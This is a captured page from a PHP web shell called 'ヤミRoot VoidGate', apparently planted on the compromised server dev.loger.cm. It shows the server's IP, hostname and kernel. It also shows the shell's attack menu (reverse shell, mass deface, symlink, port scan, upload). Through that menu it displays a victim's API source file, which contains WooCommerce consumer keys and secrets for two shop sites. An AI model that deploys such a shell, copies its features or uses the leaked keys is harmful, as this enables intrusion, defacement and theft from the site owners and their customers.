ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
api.loger.cm
/
logermicroservice
/
controllers
/
Services
/
Viewing: ServicesFunctions.php
<?php /** * Created by PhpStorm. * User: user * Date: 07/07/2020 * Time: 16:40 */ require '../Guzzle6/vendor/autoload.php'; require '../php-jwt/vendor/autoload.php'; use \Firebase\JWT\JWT; use GuzzleHttp\Client; use GuzzleHttp\Exception\RequestException; use Psr\Http\Message\ResponseInterface; use GuzzleHttp\RequestOptions ; use GuzzleHttp\Psr7; class ServicesFunctions { public function __construct() { } /** * @return PDO */ function setUp(){ $configs = include('../config.php'); global $db; try{ $db=new PDO('mysql:host='.$configs['dbhost'].';dbname='.$configs['dbname'],$configs['dbuser'],$configs['dbpwd'],array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8' , PDO::ATTR_ERRMODE=> PDO::ERRMODE_WARNING)); }catch(PDOException $e){ $db=null; } return $db; } public function getTransactions( $lastIndex){ $stmt = $this->setUp()->prepare("CALL sp_getUserTransaction(?)"); $stmt->bindParam(1, $lastIndex, PDO::PARAM_INT, 4000); // Appel de la procédure stockée $stmt->execute(); $returnValue = array(); if($stmt->rowCount()>=1){ while ($row = $stmt->fetchObject()) { $returnValue[] = $row; } } $returnValue = array( "ResponseState" => true, "ResultCode" =>200, "db" =>$this->setUp(), "data" =>$returnValue); return $returnValue; } public function getOrderList( $orderId){ $stmt = $this->setUp()->prepare("CALL sp_getOrder(?)"); $stmt->bindParam(1, $orderId, PDO::PARAM_INT, 4000); // Appel de la procédure stockée $stmt->execute(); $returnValue = array(); if($stmt->rowCount()>=1){ while ($row = $stmt->fetchObject()) { $returnValue[] = $row; } } $returnValue = array( "ResponseState" => true, "ResultCode" =>200, "data" =>$returnValue); return $returnValue; } public function getTrxService( ){ $configs = include('../config.php'); $configs["verify"]; $client=$this->setUpExternalService("https://loger.cm"); //https://loger.cm/wp-json/api/v1/orders/status $responseBody=null;$returnValue=null; try{ $response = $client->request('GET', '/wp-json/api/v1/orders/status/paid',[ 'query' => [ 'consumer_secret' => 'cs_24c975998a03d5e67bb9eb5300cb86d2ba0e2a87', 'consumer_key' => 'ck_aeb3df4739b5a386cd644f89c3021b9f7562a82g', ], 'verify'=>$configs["verify"]]); ///https://myafrikart.com/wp-json/api/v1/orders/status/paid /// ?consumer_key=ck_9cfcd11ed8c03c7a2da8d93cd824fb1281d033b5&consumer_secret=cs_297e4f06774bf8ce841967da0ce499cf06427e5b if($response->getStatusCode()==200){ $responseBody=json_decode($response->getBody()->getContents()); if($responseBody){ $returnValue = array( "ResponseState" => true, "ResultCode" => $response->getStatusCode(), "data" => $responseBody); }else{ $returnValue = array( "ResponseState" => false, "responseCode" => $response->getStatusCode(), "data" => []); } }else{ $returnValue = array( "ResponseState" => false, "responseCode" => $response->getStatusCode(), "data" => []); } }catch (RequestException $e){ $returnValue = array( "ResponseState" => false, "message" => $e->getMessage(), "ResultCode" => $e->getCode(), "data" =>[]); } return $returnValue; } /** * @return GuzzleHttp\Client */ function setUpExternalService($base_uri){ $client = new GuzzleHttp\Client([ 'base_uri' => $base_uri , 'timeout' => 200.0, ]); return $client; } }
Coded With 💗 by
0x6ick